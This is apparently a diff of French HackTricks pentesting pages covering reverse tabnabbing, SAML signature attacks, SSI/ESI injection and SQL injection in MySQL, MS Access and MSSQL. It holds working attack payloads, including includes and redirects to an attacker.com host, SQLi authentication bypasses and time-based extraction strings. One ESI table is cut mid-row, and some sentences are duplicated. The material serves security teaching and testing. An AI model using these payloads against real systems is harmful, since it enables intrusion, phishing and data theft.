Dans une situation où un **attacker** peut **controler** l'argument **`href`** d'une balise **`<a`** avec l'attribut **`target="_blank" rel="opener"`** qui va être cliquée par une victime, l'**attacker** **dirige** ce **lien** vers un site web sous son contrôle (un **malicious** **website**). Ensuite, une fois que la **victime clique** sur le lien et accède au site de l'attaquant, ce **malicious** **website** pourra **controler** la **page** **originale** via l'objet javascript **`window.opener`**.\
Dans une situation où un **attacker** peut **controler** l'argument **`href`** d'une balise **`<a`** avec l'attribut **`target="_blank" rel="opener"`** qui va être cliquée par une victime, l'**attacker** **dirige** ce **lien** vers un site web sous son contrôle (un **site web** **malveillant**). Ensuite, une fois que la **victime clique** sur le lien et accède au site de l'attaquant, ce **site web** **malveillant** pourra **controler** la **page** **originale** via l'objet javascript **`window.opener`**.\
Si la page n'a pas **`rel="opener"` mais contient `target="_blank"` et n'a pas non plus `rel="noopener"`**, elle peut également être vulnérable.
Une manière classique d'abuser de ce comportement serait de **changer la localisation du web original** via `window.opener.location = https://attacker.com/victim.html` vers un web contrôlé par l'attaquant qui **ressemble à l'original**, afin qu'il puisse **imiter** le **formulaire** de **connexion** du site web original et demander des identifiants à l'utilisateur.
Cependant, notez qu'étant donné que l'**attacker peut maintenant contrôler l'objet window du site web original**, il peut en abuser de d'autres manières pour effectuer des **attacks** plus **discrets** (peut-être en modifiant des événements javascript pour exfiltrer des informations vers un serveur contrôlé par lui ?)
Cependant, notez qu'étant donné que l'**attacker peut maintenant contrôler l'objet window du site web original**, il peut en abuser de d'autres manières pour effectuer des **attaques plus discrètes** (peut-être en modifiant des événements javascript pour exfiltrer des informations vers un serveur contrôlé par lui ?)
# Overview
@ -26,7 +26,7 @@ Lien entre les pages parent et enfant lorsque l'attribut de prévention est util
## Examples <a href="#examples" id="examples"></a>
Créez les pages suivantes dans un dossier et exécutez un serveur web avec `python3 -m http.server`\
Ensuite, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** sur le lien et notez comment l'**URL** du **site web** **original** **change**.
Ensuite, **accédez** à `http://127.0.0.1:8000/`vulnerable.html, **cliquez** sur le lien et notez comment l'**URL** du **site web** **original** **change**.
```markup:vulnerable.html
<!DOCTYPE html>
<html>
@ -68,7 +68,7 @@ Dans le scénario où un accès **cross-origin** se produit (accès à travers d
- **`opener.self`** : L'accès à la fenêtre actuelle elle-même est fourni par cette propriété.
- **`opener.top`** : Cette propriété renvoie la fenêtre de navigateur la plus haute.
Cependant, dans les cas où les domaines sont identiques, le site malveillant a accès à toutes les propriétés exposées par l'objet JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
Cependant, dans les cas où les domaines sont identiques, le site malveillant a accès à toutes les propriétés exposées par la référence d'objet JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
# Prévention

14
src/pentesting-web/saml-attacks/README.md
View File

@ -53,7 +53,7 @@ Pour plus d'informations sur la vulnérabilité et comment l'exploiter :
## Attaques par enveloppement de signature XML
Dans les **attaques par enveloppement de signature XML (XSW)**, les adversaires exploitent une vulnérabilité qui survient lorsque les documents XML sont traités à travers deux phases distinctes : **validation de signature** et **invocation de fonction**. Ces attaques impliquent de modifier la structure du document XML. Plus précisément, l'attaquant **injecte des éléments falsifiés** qui ne compromettent pas la validité de la signature XML. Cette manipulation vise à créer une divergence entre les éléments analysés par la **logique d'application** et ceux vérifiés par le **module de vérification de signature**. En conséquence, bien que la signature XML reste techniquement valide et passe la vérification, la logique d'application traite les **éléments frauduleux**. Par conséquent, l'attaquant contourne efficacement la **protection d'intégrité** et l'**authentification d'origine** de la signature XML, permettant l'**injection de contenu arbitraire** sans détection.
Dans les **attaques par enveloppement de signature XML (XSW)**, les adversaires exploitent une vulnérabilité qui survient lorsque les documents XML sont traités à travers deux phases distinctes : **validation de signature** et **invocation de fonction**. Ces attaques impliquent de modifier la structure du document XML. Plus précisément, l'attaquant **injecte des éléments falsifiés** qui ne compromettent pas la validité de la signature XML. Cette manipulation vise à créer une discordance entre les éléments analysés par la **logique de l'application** et ceux vérifiés par le **module de vérification de signature**. En conséquence, bien que la signature XML reste techniquement valide et passe la vérification, la logique de l'application traite les **éléments frauduleux**. Par conséquent, l'attaquant contourne efficacement la **protection d'intégrité** et l'**authentification d'origine** de la signature XML, permettant l'**injection de contenu arbitraire** sans détection.
Les attaques suivantes sont basées sur [**cet article de blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **et** [**ce document**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Consultez-les pour plus de détails.
@ -157,9 +157,9 @@ Pour plus d'informations sur XSLT, allez à :
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
Les transformations de langage de feuille de style extensible (XSLT) peuvent être utilisées pour transformer des documents XML en divers formats comme HTML, JSON ou PDF. Il est crucial de noter que **les transformations XSLT sont effectuées avant la vérification de la signature numérique**. Cela signifie qu'une attaque peut réussir même sans une signature valide ; une signature auto-signée ou invalide suffit à procéder.
Les transformations de langage de feuille de style extensible (XSLT) peuvent être utilisées pour transformer des documents XML en divers formats comme HTML, JSON ou PDF. Il est crucial de noter que **les transformations XSLT sont effectuées avant la vérification de la signature numérique**. Cela signifie qu'une attaque peut réussir même sans une signature valide ; une signature auto-signée ou invalide suffit pour procéder.
Ici, vous pouvez trouver un **POC** pour vérifier ce type de vulnérabilités, sur la page hacktricks mentionnée au début de cette section, vous pouvez trouver des payloads.
Ici, vous pouvez trouver un **POC** pour vérifier ce type de vulnérabilités, dans la page hacktricks mentionnée au début de cette section, vous pouvez trouver des payloads.
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
@ -187,7 +187,7 @@ Vérifiez également cette conférence : [https://www.youtube.com/watch?v=WHn-6x
## Exclusion de la signature XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
L'**Exclusion de la signature XML** observe le comportement des implémentations SAML lorsque l'élément Signature est absent. Si cet élément est manquant, **la validation de la signature peut ne pas se produire**, rendant le système vulnérable. Il est possible de tester cela en modifiant les contenus qui sont généralement vérifiés par la signature.
L'**Exclusion de la signature XML** observe le comportement des implémentations SAML lorsque l'élément Signature est absent. Si cet élément est manquant, **la validation de la signature peut ne pas avoir lieu**, rendant le système vulnérable. Il est possible de tester cela en modifiant les contenus qui sont généralement vérifiés par la signature.
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
@ -201,7 +201,7 @@ Avec les signatures supprimées, laissez la requête se poursuivre vers la cible
## Falsification de certificat
La falsification de certificat est une technique pour tester si un **Fournisseur de services (SP)** vérifie correctement qu'un message SAML est signé par un fournisseur d'identité (IdP) de confiance. Cela implique d'utiliser un \***certificat auto-signé** pour signer la réponse ou l'assertion SAML, ce qui aide à évaluer le processus de validation de confiance entre le SP et l'IdP.
La falsification de certificat est une technique pour tester si un **Fournisseur de services (SP) vérifie correctement qu'un message SAML est signé** par un fournisseur d'identité (IdP) de confiance. Cela implique d'utiliser un \***certificat auto-signé** pour signer la réponse ou l'assertion SAML, ce qui aide à évaluer le processus de validation de confiance entre le SP et l'IdP.
### Comment réaliser la falsification de certificat
@ -246,7 +246,7 @@ return f"Failed to redirect SAML Response: {e}"
```
## XSS dans la fonctionnalité de déconnexion
La recherche originale peut être consultée via [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
La recherche originale peut être consultée via [ce lien](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
Au cours du processus de brute forcing de répertoire, une page de déconnexion a été découverte à :
```
@ -262,7 +262,7 @@ Cela a révélé que le paramètre `base` accepte une URL. Dans ce contexte, l'i
[À partir de cette recherche](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
L'outil [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) a été utilisé pour analyser les sous-domaines de `uberinternal.com` pour les domaines utilisant la même bibliothèque. Par la suite, un script a été développé pour cibler la page `oidauth/prompt`. Ce script teste la XSS (Cross-Site Scripting) en saisissant des données et en vérifiant si elles sont reflétées dans la sortie. Dans les cas où l'entrée est effectivement reflétée, le script signale la page comme vulnérable.
L'outil [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) a été utilisé pour analyser les sous-domaines de `uberinternal.com` pour les domaines utilisant la même bibliothèque. Par la suite, un script a été développé pour cibler la page `oidauth/prompt`. Ce script teste pour XSS (Cross-Site Scripting) en saisissant des données et en vérifiant si elles sont reflétées dans la sortie. Dans les cas où l'entrée est effectivement reflétée, le script signale la page comme vulnérable.
```python
import requests
import urllib3

8
src/pentesting-web/saml-attacks/saml-basics.md
View File

@ -49,7 +49,7 @@ Les éléments clés de cette demande incluent :
- **ProtocolBinding** : Définit la méthode de transmission des messages du protocole SAML.
- **saml:Issuer** : Identifie l'entité qui a initié la demande.
Suite à la génération de la demande SAML, le SP répond par un **302 redirect**, dirigeant le navigateur vers l'IdP avec la demande SAML encodée dans l'en-tête **Location** de la réponse HTTP. Le paramètre **RelayState** maintient les informations d'état tout au long de la transaction, garantissant que le SP reconnaisse la demande de ressource initiale lors de la réception de la réponse SAML. Le paramètre **SAMLRequest** est une version compressée et encodée de l'extrait XML brut, utilisant la compression Deflate et l'encodage base64.
Suite à la génération de la demande SAML, le SP répond avec un **302 redirect**, dirigeant le navigateur vers l'IdP avec la demande SAML encodée dans l'en-tête **Location** de la réponse HTTP. Le paramètre **RelayState** maintient les informations d'état tout au long de la transaction, garantissant que le SP reconnaît la demande de ressource initiale lors de la réception de la réponse SAML. Le paramètre **SAMLRequest** est une version compressée et encodée de l'extrait XML brut, utilisant la compression Deflate et l'encodage base64.
# Exemple de réponse SAML
@ -63,7 +63,7 @@ Vous pouvez trouver une [réponse SAML complète ici](https://epi052.gitlab.io/n
- **saml:AuthnStatement** : Confirme que l'IdP a authentifié le sujet de l'assertion.
- **saml:AttributeStatement** : Contient des attributs décrivant le sujet de l'assertion.
Suite à la réponse SAML, le processus inclut un 302 redirect de l'IdP. Cela conduit à une demande POST vers l'URL du Service d'Accueil des Assertions (ACS) du fournisseur de services. La demande POST inclut les paramètres `RelayState` et `SAMLResponse`. L'ACS est responsable du traitement et de la validation de la réponse SAML.
Suite à la réponse SAML, le processus inclut un 302 redirect de l'IdP. Cela conduit à une demande POST vers l'URL du Service d'Assertion Consumer (ACS) du fournisseur de services. La demande POST inclut les paramètres `RelayState` et `SAMLResponse`. L'ACS est responsable du traitement et de la validation de la réponse SAML.
Après la réception de la demande POST et la validation de la réponse SAML, l'accès est accordé à la ressource protégée initialement demandée par l'utilisateur. Cela est illustré par une demande `GET` vers le point de terminaison `/secure/` et une réponse `200 OK`, indiquant un accès réussi à la ressource.
@ -91,7 +91,7 @@ Une signature XML se compose d'éléments essentiels comme montré :
<Object />
</Signature>
```
Chaque élément `Reference` signifie une ressource spécifique étant signée, identifiable par l'attribut URI.
Chaque élément `Reference` signifie une ressource spécifique signée, identifiable par l'attribut URI.
### Types de signatures XML
@ -116,7 +116,7 @@ Exemple :
Dans une signature enveloppée, l'élément `ds:Transform` spécifie qu'il est enveloppé par l'algorithme `enveloped-signature`.
2. **Signature enveloppante** : Contrairement aux signatures enveloppées, les signatures enveloppantes enveloppent la ressource étant signée.
2. **Signature enveloppante** : Contrairement aux signatures enveloppées, les signatures enveloppantes enveloppent la ressource à signer.
Exemple :

18
src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
View File

@ -4,7 +4,7 @@
## Informations de Base sur l'Inclusion Côté Serveur
**(Introduction tirée des** [**docs Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
**(Introduction tirée de** [**la documentation Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
SSI (Server Side Includes) sont des directives qui sont **placées dans des pages HTML et évaluées sur le serveur** pendant que les pages sont servies. Elles vous permettent d'**ajouter du contenu généré dynamiquement** à une page HTML existante, sans avoir à servir l'ensemble de la page via un programme CGI ou une autre technologie dynamique.\
Par exemple, vous pourriez placer une directive dans une page HTML existante, comme :
@ -57,7 +57,7 @@ Une expression SSI typique a le format suivant :
## Inclusion côté serveur
Il y a un problème **de mise en cache des informations ou des applications dynamiques** car une partie du contenu peut avoir **varié** pour la prochaine fois que le contenu est récupéré. C'est ce à quoi **ESI** est utilisé, pour indiquer en utilisant des balises ESI le **contenu dynamique qui doit être généré** avant d'envoyer la version mise en cache.\
Si un **attaquant** est capable de **injecter une balise ESI** à l'intérieur du contenu mis en cache, alors, il pourrait être capable d'**injecter du contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.
Si un **attaquant** est capable de **injecter une balise ESI** à l'intérieur du contenu mis en cache, alors, il pourrait être capable d'**injecter un contenu arbitraire** dans le document avant qu'il ne soit envoyé aux utilisateurs.
### Détection ESI
@ -100,15 +100,7 @@ hell<!--esi-->o
| **Logiciel** | **Includes** | **Vars** | **Cookies** | **En-têtes en amont requis** | **Liste blanche des hôtes** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :--------------------------: |
| Squid3 | Oui | Oui | Oui | Oui | Non |
| Varnish Cache | Oui | Non | Non | Oui | Oui |
| Fastly | Oui | Non | Non | Non | Oui |
| Akamai ESI Test Server (ETS) | Oui | Oui | Oui | Non | Non |
| NodeJS esi | Oui | Oui | Oui | Non | Non |
| NodeJS nodesi | Oui | Non | Non | Non | Optionnel |
#### XSS
La directive ESI suivante chargera un fichier arbitraire à l'intérieur de la réponse du serveur
| Varnish Cache
```xml
<esi:include src=http://attacker.com/xss.html>
```
@ -138,7 +130,7 @@ Use <!--esi--> to bypass WAFs:
```
#### Fichier Local Privé
Ne pas confondre cela avec une "Inclusion de Fichier Local" :
Ne pas confondre cela avec une "Inclusion de Fichier Local":
```markup
<esi:include src="secret.txt">
```
@ -183,7 +175,7 @@ Cela enverra des informations de débogage incluses dans la réponse :
```
### ESI + XSLT = XXE
Il est possible d'utiliser la syntaxe **`eXtensible Stylesheet Language Transformations (XSLT)`** dans ESI simplement en indiquant la valeur du paramètre **`dca`** comme **`xslt`**. Cela pourrait permettre d'abuser de **XSLT** pour créer et exploiter une vulnérabilité d'entité externe XML (XXE) :
Il est possible d'utiliser la syntaxe **`eXtensible Stylesheet Language Transformations (XSLT)`** dans ESI simplement en indiquant la valeur du paramètre **`dca`** comme **`xslt`**. Cela pourrait permettre d'abuser de **XSLT** pour créer et exploiter une vulnérabilité d'Entité Externe XML (XXE) :
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```

34
src/pentesting-web/sql-injection/README.md
View File

@ -24,7 +24,7 @@ Lorsqu'un site semble être **vulnérable à l'injection SQL (SQLi)** en raison
```
Ensuite, vous devez savoir comment **corriger la requête afin qu'il n'y ait pas d'erreurs**. Pour corriger la requête, vous pouvez **entrer** des données afin que la **requête précédente accepte les nouvelles données**, ou vous pouvez simplement **entrer** vos données et **ajouter un symbole de commentaire à la fin**.
_Remarque : si vous pouvez voir des messages d'erreur ou si vous pouvez repérer des différences lorsque la requête fonctionne et lorsqu'elle ne fonctionne pas, cette phase sera plus facile._
_Remarque : si vous pouvez voir des messages d'erreur ou si vous pouvez repérer des différences lorsque qu'une requête fonctionne et lorsqu'elle ne fonctionne pas, cette phase sera plus facile._
### **Commentaires**
```sql
@ -71,7 +71,7 @@ Cette liste de mots a été créée pour essayer de **confirmer les SQLinjection
### Confirmation par Timing
Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les SQL injections aveugles** est de faire en sorte que la base de données effectue des actions qui auront un **impact sur le temps** que la page met à charger.\
Dans certains cas, vous **ne remarquerez aucun changement** sur la page que vous testez. Par conséquent, une bonne façon de **découvrir les SQL injections aveugles** est de faire en sorte que la base de données effectue des actions qui auront un **impact sur le temps** nécessaire au chargement de la page.\
Par conséquent, nous allons concaténer dans la requête SQL une opération qui prendra beaucoup de temps à compléter :
```
MySQL (string concat and logical ops)
@ -94,7 +94,7 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
Dans certains cas, les **fonctions de sommeil ne seront pas autorisées**. Alors, au lieu d'utiliser ces fonctions, vous pourriez faire en sorte que la requête **effectue des opérations complexes** qui prendront plusieurs secondes. _Des exemples de ces techniques seront commentés séparément sur chaque technologie (le cas échéant)_.
Dans certains cas, les **fonctions de sommeil ne seront pas autorisées**. Ensuite, au lieu d'utiliser ces fonctions, vous pourriez faire en sorte que la requête **effectue des opérations complexes** qui prendront plusieurs secondes. _Des exemples de ces techniques seront commentés séparément sur chaque technologie (le cas échéant)_.
### Identification du Back-end
@ -140,7 +140,7 @@ Aussi, si vous avez accès à la sortie de la requête, vous pourriez faire en s
### Détection du nombre de colonnes
Si vous pouvez voir la sortie de la requête, c'est la meilleure façon de l'exploiter.\
Tout d'abord, nous devons découvrir le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
Tout d'abord, nous devons déterminer le **nombre** de **colonnes** que la **requête initiale** renvoie. Cela est dû au fait que **les deux requêtes doivent renvoyer le même nombre de colonnes**.\
Deux méthodes sont généralement utilisées à cet effet :
#### Order/Group by
@ -186,20 +186,20 @@ Dans les exemples suivants, nous allons récupérer le nom de toutes les bases d
```
_Il existe une méthode différente pour découvrir ces données sur chaque base de données différente, mais la méthodologie reste toujours la même._
## Exploiting Hidden Union Based
## Exploitation des injections basées sur des unions cachées
Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur un union semble inatteignable, cela signifie qu'il y a une **injection basée sur un union cachée**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur un union, il est nécessaire de discerner la requête d'exécution sur le backend.
Lorsque la sortie d'une requête est visible, mais qu'une injection basée sur des unions semble inaccessibile, cela signifie qu'il y a une **injection basée sur des unions cachées**. Ce scénario conduit souvent à une situation d'injection aveugle. Pour transformer une injection aveugle en une injection basée sur des unions, il est nécessaire de discerner la requête d'exécution sur le backend.
Cela peut être accompli grâce à l'utilisation de techniques d'injection aveugle en parallèle avec les tables par défaut spécifiques à votre Système de Gestion de Base de Données (SGBD) cible. Pour comprendre ces tables par défaut, il est conseillé de consulter la documentation du SGBD cible.
Une fois la requête extraite, il est nécessaire d'adapter votre payload pour fermer en toute sécurité la requête originale. Ensuite, une requête union est ajoutée à votre payload, facilitant l'exploitation de l'injection basée sur un union nouvellement accessible.
Une fois la requête extraite, il est nécessaire d'adapter votre charge utile pour fermer en toute sécurité la requête originale. Ensuite, une requête d'union est ajoutée à votre charge utile, facilitant l'exploitation de l'injection basée sur des unions nouvellement accessible.
Pour des informations plus complètes, consultez l'article complet disponible à [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Exploiting Error based
## Exploitation basée sur les erreurs
Si pour une raison quelconque vous **ne pouvez pas** voir la **sortie** de la **requête** mais que vous pouvez **voir les messages d'erreur**, vous pouvez utiliser ces messages d'erreur pour **ex-filtrer** des données de la base de données.\
En suivant un flux similaire à celui de l'exploitation basée sur un union, vous pourriez réussir à vider la base de données.
En suivant un flux similaire à celui de l'exploitation basée sur des unions, vous pourriez réussir à vider la base de données.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
@ -212,7 +212,7 @@ Dans ce cas, vous pouvez abuser de ce comportement pour vider la base de donnée
```
## Exploiter l'Error Blind SQLi
C'est le **même cas que précédemment** mais au lieu de distinguer entre une réponse vraie/faux de la requête, vous pouvez **distinguer entre** une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une SQLerror chaque fois que vous devinez correctement le caractère :
C'est le **même cas que précédemment** mais au lieu de distinguer entre une réponse vraie/faux de la requête, vous pouvez **distinguer entre** une **erreur** dans la requête SQL ou non (peut-être parce que le serveur HTTP plante). Par conséquent, dans ce cas, vous pouvez forcer une erreur SQL chaque fois que vous devinez correctement le caractère :
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
@ -240,7 +240,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
```
## Exploitation Automatisée
Vérifiez le [SQLMap Cheatsheet](sqlmap/) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
Vérifiez la [SQLMap Cheatsheet](sqlmap/) pour exploiter une vulnérabilité SQLi avec [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Informations spécifiques à la technologie
@ -266,7 +266,7 @@ Liste à essayer pour contourner la fonctionnalité de connexion :
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Cette requête met en évidence une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système susceptible à l'injection SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, lorsqu'elles sont hachées, produisent des parties de commandes SQL inattendues, conduisant à un accès non autorisé.
Cette requête met en évidence une vulnérabilité lorsque MD5 est utilisé avec true pour la sortie brute dans les vérifications d'authentification, rendant le système susceptible à l'injection SQL. Les attaquants peuvent exploiter cela en créant des entrées qui, lorsqu'elles sont hachées, produisent des parties de commandes SQL inattendues, entraînant un accès non autorisé.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -278,7 +278,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
**Liste recommandée** :
Vous devriez utiliser comme nom d'utilisateur chaque ligne de la liste et comme mot de passe toujours : _**Pass1234.**_\
&#xNAN;_(Ces charges utiles sont également incluses dans la grande liste mentionnée au début de cette section)_
&#xNAN;_(Ces payloads sont également inclus dans la grande liste mentionnée au début de cette section)_
{% file src="../../images/sqli-hashbypass.txt" %}
@ -358,7 +358,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
```
#### Utilisation de décimal ou hexadécimal
Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez besoin de commenter quoi que ce soit.
Avec cette technique, vous pouvez extraire des informations en créant seulement 1 compte. Il est important de noter que vous n'avez pas besoin de commenter quoi que ce soit.
Utilisation de **hex2dec** et **substr** :
```sql
@ -409,9 +409,9 @@ Pas d'espace - contournement en utilisant des parenthèses
```sql
?id=(1)and(1)=(1)--
```
### Contournement sans virgules
### Bypass sans virgules
Contournement sans virgule - contournement utilisant OFFSET, FROM et JOIN
Bypass sans virgule - utilisant OFFSET, FROM et JOIN
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
@ -444,7 +444,7 @@ Fondamentalement, vous pouvez utiliser la notation scientifique de manière inat
```
### Contourner la restriction des noms de colonnes
Tout d'abord, notez que si la **requête originale et la table d'où vous souhaitez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag`
Tout d'abord, notez que si la **requête originale et la table dont vous souhaitez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag`
Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme suit : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une sqlinjection, cela ressemblerait à :
```bash

12
src/pentesting-web/sql-injection/ms-access-sql-injection.md
View File

@ -31,7 +31,7 @@ Elles ne sont pas prises en charge.
### LIMIT
L'opérateur **`LIMIT`** **n'est pas implémenté**. Cependant, il est possible de limiter les résultats des requêtes SELECT aux **premières N lignes de la table en utilisant l'opérateur `TOP`**. `TOP` accepte comme argument un entier, représentant le nombre de lignes à retourner.
L'opérateur **`LIMIT`** **n'est pas implémenté**. Cependant, il est possible de limiter les résultats de la requête SELECT aux **premières N lignes de la table en utilisant l'opérateur `TOP`**. `TOP` accepte comme argument un entier, représentant le nombre de lignes à retourner.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
@ -40,7 +40,7 @@ Tout comme TOP, vous pouvez utiliser **`LAST`** qui obtiendra les **lignes de la
## Requêtes UNION / Sous-requêtes
Dans une SQLi, vous voudrez généralement exécuter une nouvelle requête pour extraire des informations d'autres tables. MS Access exige toujours que dans **les sous-requêtes ou les requêtes supplémentaires, un `FROM` soit indiqué**.\
Donc, si vous voulez exécuter un `UNION SELECT` ou un `UNION ALL SELECT` ou un `SELECT` entre parenthèses dans une condition, vous devez toujours **indiquer un `FROM` avec un nom de table valide**.\
Donc, si vous voulez exécuter un `UNION SELECT` ou `UNION ALL SELECT` ou un `SELECT` entre parenthèses dans une condition, vous devez toujours **indiquer un `FROM` avec un nom de table valide**.\
Par conséquent, vous devez connaître un **nom de table valide**.
```sql
-1' UNION SELECT username,password from users%00
@ -62,7 +62,7 @@ Si vous connaissez le **nom de la table** et la **colonne** à extraire, vous po
```
_Feel free to check this in the online playground._
### Bruteforçage des noms de tables
### Brute-forcing les noms de tables
En utilisant la technique de chaînage des égalités, vous pouvez également **bruteforcer les noms de tables** avec quelque chose comme :
```sql
@ -95,7 +95,7 @@ Ou vous pouvez forcer par brute les noms de colonnes d'une **table différente**
```
### Dumping data
Nous avons déjà discuté de la [**technique de chaînage d'égalités**](ms-access-sql-injection.md#chaining-equals-+-substring) **pour extraire des données des tables actuelles et d'autres tables**. Mais il existe d'autres méthodes :
Nous avons déjà discuté de la [**technique de chaînage des égalités**](ms-access-sql-injection.md#chaining-equals-+-substring) **pour extraire des données des tables actuelles et d'autres tables**. Mais il existe d'autres méthodes :
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
@ -136,7 +136,7 @@ La connaissance du **chemin absolu du répertoire racine web peut faciliter d'au
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access répond avec un **message d'erreur contenant le chemin d'accès complet du répertoire web**.
MS Access répond avec un **message d'erreur contenant le chemin complet du répertoire web**.
### Énumération de fichiers
@ -144,7 +144,7 @@ Le vecteur d'attaque suivant peut être utilisé pour **inférer l'existence d'u
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Une autre façon d'énumérer les fichiers consiste à **spécifier un élément database.table**. **Si** le **fichier spécifié existe**, MS Access affiche un **message d'erreur de format de base de données**.
Une autre façon d'énumérer des fichiers consiste à **spécifier un élément database.table**. **Si** le **fichier spécifié existe**, MS Access affiche un **message d'erreur de format de base de données**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`

6
src/pentesting-web/sql-injection/mssql-injection.md
View File

@ -1,4 +1,4 @@
# MSSQL Injection
# Injection MSSQL
{{#include ../../banners/hacktricks-training.md}}
@ -9,7 +9,7 @@ Il peut être possible de **énumérer les utilisateurs de domaine via une injec
- **`SELECT DEFAULT_DOMAIN()`** : Obtenir le nom de domaine actuel.
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`** : Si vous connaissez le nom du domaine (_DOMAIN_ dans cet exemple), cette fonction renverra le **SID de l'utilisateur Administrator** au format hexadécimal. Cela ressemblera à `0x01050000000[...]0000f401`, notez comment les **derniers 4 octets** sont le nombre **500** au format **big endian**, qui est le **ID commun de l'utilisateur administrateur**.\
Cette fonction vous permettra de **connaître l'ID du domaine** (tous les octets sauf les 4 derniers).
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Cette fonction renverra le **nom d'utilisateur de l'ID indiqué** (le cas échéant), dans ce cas **0000e803** en big endian == **1000** (généralement, c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez forcer les IDs des utilisateurs de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple, en utilisant une fonction comme la suivante :
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Cette fonction renverra le **nom d'utilisateur de l'ID indiqué** (le cas échéant), dans ce cas **0000e803** en big endian == **1000** (généralement, c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez brute-forcer les ID d'utilisateur de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple, en utilisant une fonction comme la suivante :
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@ -85,7 +85,7 @@ EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
Les procédures stockées comme `xp_dirtree`, bien qu'elles ne soient pas officiellement documentées par Microsoft, ont été décrites par d'autres en ligne en raison de leur utilité dans les opérations réseau au sein de MSSQL. Ces procédures sont souvent utilisées dans l'exfiltration de données Out of Band, comme le montrent divers [exemples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) et [articles](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
